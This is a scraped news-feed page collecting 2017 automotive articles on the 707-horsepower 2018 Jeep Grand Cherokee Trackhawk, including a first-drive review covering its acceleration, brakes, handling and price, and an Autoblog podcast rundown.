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]]> https://briefnews.eu/grand-cherokee-trackhawk-or-challenger-srt-demon/feed/ 0 2018 Jeep Grand Cherokee Trackhawk – First Drive Review https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-review/ https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-review/#respond Wed, 30 Aug 2017 06:43:34 +0000 http://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-review/ –2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk—

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]]> https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-review/feed/ 0 2018 Jeep Grand Cherokee Trackhawk First Drive | Crazy. Good. https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-crazy-good/ https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-crazy-good/#respond Wed, 30 Aug 2017 05:44:11 +0000 http://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-crazy-good/ TAMWORTH, New Hampshire – We’re tempted to tell you that the 2018 Jeep Grand Cherokee Trackhawk is ridiculous. It’s borderline frightening to think that we now live in a world where anybody with the money and the gumption can stroll into the nearest Jeep dealership and place an order for a 707-horsepower Hemi-powered Grand Cherokee. Let’s put this slice of history into perspective. The original Jeep, the one used by the military, boasted 60 horsepower from the Go Devil four-cylinder engine under the hood. The most powerful version of the muscle car-era 426-cubic-inch Hemi was factory-rated at 425 hp. And even if that legendary powerplant was underrated from the factory, the Grand Cherokee Trackhawk still obliterates it by a couple hundred horses.

In an SUV. Seven-hundred-horsepower sport utility vehicle doesn’t exactly roll off the tongue, does it? And conventional wisdom says it shouldn’t. But we’re here to tell you otherwise. After driving the Trackhawk in and around the streets of Portland, Maine, and taking it to Club Motorsports in New Hampshire, we’re convinced that Jeep and SRT engineers have managed to defy physics and reason. The Trackhawk isn’t just fast, it’s also manageable. Subdued, even – at least when you want it to be.

2018 Jeep Grand Cherokee Trailhawk2018 Jeep Grand Cherokee Trailhawk2018 Jeep Grand Cherokee Trailhawk2018 Jeep Grand Cherokee Trailhawk

Put the hammer down, summon the nearly demonic power of supercharged combustion, and all hell breaks loose. But the tires don’t. With launch control engaged and with the programmable engine speed properly chosen, the all-wheel-drive Trackhawk rockets to 60 miles per hour in just 3.5 seconds, over and over and over again. No drama, no wheelspin, just g-force, pressing you and four close friends into the backs of your seats. It’s addictive, and the only penalty is single-digit fuel mileage. But we’ll wager a guess that anyone shopping for a Trackhawk isn’t much concerned about its drinking problem.

The only proper way to experience the Trackhawk’s acceleration is from inside. But, to give you an idea of its speed and power, check out the videos below. Stick around for a walkaround both inside and out, and for a look under the hood.

Jeep had to make a few small changes to the well-known 6.2-liter supercharged Hellcat V8 engine to shoehorn it under the hood of a Grand Cherokee. The oil pan is reshaped and baffled, the intercooler is modified, and the exhaust manifolds are new. The result is a reduction in torque from 650 pound-feet in Dodge Hellcat models to 645 in the Jeep, but we wouldn’t worry about that. Keep your foot planted for 11.6 seconds and you’ll have crossed the quarter-mile threshold. We hit 120 miles per hour on the long straight at Club Motorsports, but if we’d have had a longer runway, we have zero doubt that the Trackhawk would hit its claimed 180-mph top speed.

We feel obligated to remind you, again, that the Trackhawk is an SUV, not a sports car. Good thing, then, that the six-piston Brembo calipers and 15.75-inch rotors at the front and four-piston calipers with 13.78-inch rotors at the rear are the largest ever fitted to a Jeep. Mash those brakes and the 5,363-pound Trackhawk will come to a stop from 60 in just 114 feet.

It probably goes without saying, but we’ll say it anyway. Nobody is going to take the Trackhawk off-road. Jeep knows this and removed unnecessary things like a low-range transfer case and mud or rock modes from the Selec-Track terrain management system. That leaves Auto, Sport, Track, Snow and Tow modes to choose from.

2018 Jeep Grand Cherokee Trailhawk

The Grand Cherokee’s Quadra-Trac on-demand four-wheel drive system is beefed up to handle the hellacious power of the supercharged engine with new drive shafts, a stronger rear axle, forged steel chain sprockets and a stronger differential housing. An eight-speed automatic transmission is the only gearbox available.

We have no qualms with the powertrain, or Jeep’s claim that the Grand Cherokee Trackhawk is the most powerful and quickest SUV ever made. But we do wish the steering ratio was quicker than 16.5:1. Too often we found ourselves sawing at the wheel to keep the Trackhawk under control. A variable-ratio unit would definitely help. Once it’s pointed in the proper direction, Jeep’s skill in programming all-wheel-drive systems shines. There’s not much drama in how the Trackhawk handles the twisties, despite the huge lump under its hood. Grippy P295/45ZR20 tires help, but the overall sense of plantedness and the lack of body roll initially comes as a surprise.

Jeep fitted the Trackhawk with a steering wheel that’s nice and meaty at every location your hands want to grab. Paddle shifters on the back of the wheel work well, but the transmission’s shift logic is good enough that we mostly didn’t bother with them. The seats in the Trackhawk are comfortable, but owners who plan to use their Jeeps at the racetrack will probably wish for more aggressive bolstering.

2018 Jeep Grand Cherokee Trailhawk2018 Jeep Grand Cherokee Trailhawk2018 Jeep Grand Cherokee Trailhawk2018 Jeep Grand Cherokee Trailhawk

There aren’t a lot of obvious exterior changes to separate the Trackhawk from the regular-grade Grand Cherokee SRT. Badging is different, of course, and so are the exhaust tips at the rear. Up front is a new fascia made most noticeable by the loss of its fog lamps, which are replaced with air intakes to help keep things cool under the hood.

Jeep dropped the ride height of the Trackhawk by an inch, and we think the SUV looks best with the optional flat-black forged 20-inch wheels fitted with Pirelli P-Zero three-season tires. A backup set of wheels with proper winter tires are likely an absolute necessity in snowy climates. We doubt many owners will be towing ultra heavy loads with the Trackhawk, but its 7,200-pound max rating certainly allows for trailers, jet skis or dirt bikes.

2018 Jeep Grand Cherokee Trailhawk

With a starting price of $ 86,995, the 2018 Jeep Grand Cherokee Trackhawk isn’t cheap. But it’s less expensive, quicker and more powerful than the BMW X5M or Porsche Cayenne Turbo S. It’s also $ 2,000 dearer than the 840-horsepower Dodge Demon. But the Demon is a one-trick pony, and the Trackhawk is most definitely not. In fact, Jeep’s latest super-powerful utility vehicle may be the perfect automobile for anyone who desires practical performance.

We went into our first stint in the Trackhawk thinking it was ridiculous. And it is, but not for the reason we had thought. What’s really crazy is how well the thing works.

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]]> https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-crazy-good/feed/ 0 2018 Jeep Grand Cherokee Trackhawk First Drive: It’s Insane! https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-its-insane/ https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-its-insane/#respond Wed, 30 Aug 2017 04:44:06 +0000 http://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-its-insane/ 2018-Jeep-Grand-Cherokee-Trackhawk-PLACEMENT

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“We are still dealing with physics here. I just want you to remember that.” So says Erich Heuschele, manager of SRT vehicle dynamics to the 20 or so writers he’s about to turn loose on a racetrack in the Jeep Grand Cherokee Trackhawk. We’re dealing with physics, sure, but also an earnest effort to defy them with equal parts horsepower and lunacy. Say, “707-horsepower Jeep” to anyone who hasn’t been paying attention and they just wiggle a finger into an ear and squint at you. “Huh?” READ MORE ››

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]]> https://briefnews.eu/2018-jeep-grand-cherokee-trackhawk-first-drive-its-insane/feed/ 0 Autoblog Podcast #523 | BMWs, Trackhawk and Mazda's new engine technology https://briefnews.eu/autoblog-podcast-523-bmws-trackhawk-and-mazdas-new-engine-technology/ https://briefnews.eu/autoblog-podcast-523-bmws-trackhawk-and-mazdas-new-engine-technology/#respond Fri, 11 Aug 2017 17:06:01 +0000 http://briefnews.eu/autoblog-podcast-523-bmws-trackhawk-and-mazdas-new-engine-technology/

On this week’s Autoblog Podcast, Editor-in-Chief Greg Migliore is joined by Associate Editor Joel Stocksdale. We discuss a couple of BMWs, the upcoming BMW X7 three-row SUV and our short-term BMW M760i with a turbocharged, 600-horsepower V12. We also cover the week’s news, including Mazda’s nifty engine technology it will roll out in the next few years, as well as pricing on the new Jeep Grand Cherokee Trackhawk.

The rundown is below. Remember, if you have a car-related question you’d like us to answer or you want buying advice of your very own, send a message or a voice memo to podcast@autoblog.com. (If you record audio of a question with your phone and get it to us, you could hear your very own voice on the podcast. Neat, right?) And if you have other questions or comments, please send those too.

Autoblog Podcast #523

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  • BMW X7 Spy Shots
  • Volkswagen Passat GT
  • Mazda’s future engine technology
  • Jeep Grand Cherokee Trackhawk Pricing
  • BMW M760i driving
  • Ram 2500 driving
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]]> https://briefnews.eu/autoblog-podcast-523-bmws-trackhawk-and-mazdas-new-engine-technology/feed/ 0 Trackhawk Down: 707-HP Jeep Priced from $86,995 https://briefnews.eu/trackhawk-down-707-hp-jeep-priced-from-86995-2/ https://briefnews.eu/trackhawk-down-707-hp-jeep-priced-from-86995-2/#respond Wed, 09 Aug 2017 06:24:01 +0000 http://briefnews.eu/trackhawk-down-707-hp-jeep-priced-from-86995-2/ –2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk–2018 Jeep Grand Cherokee Trackhawk—

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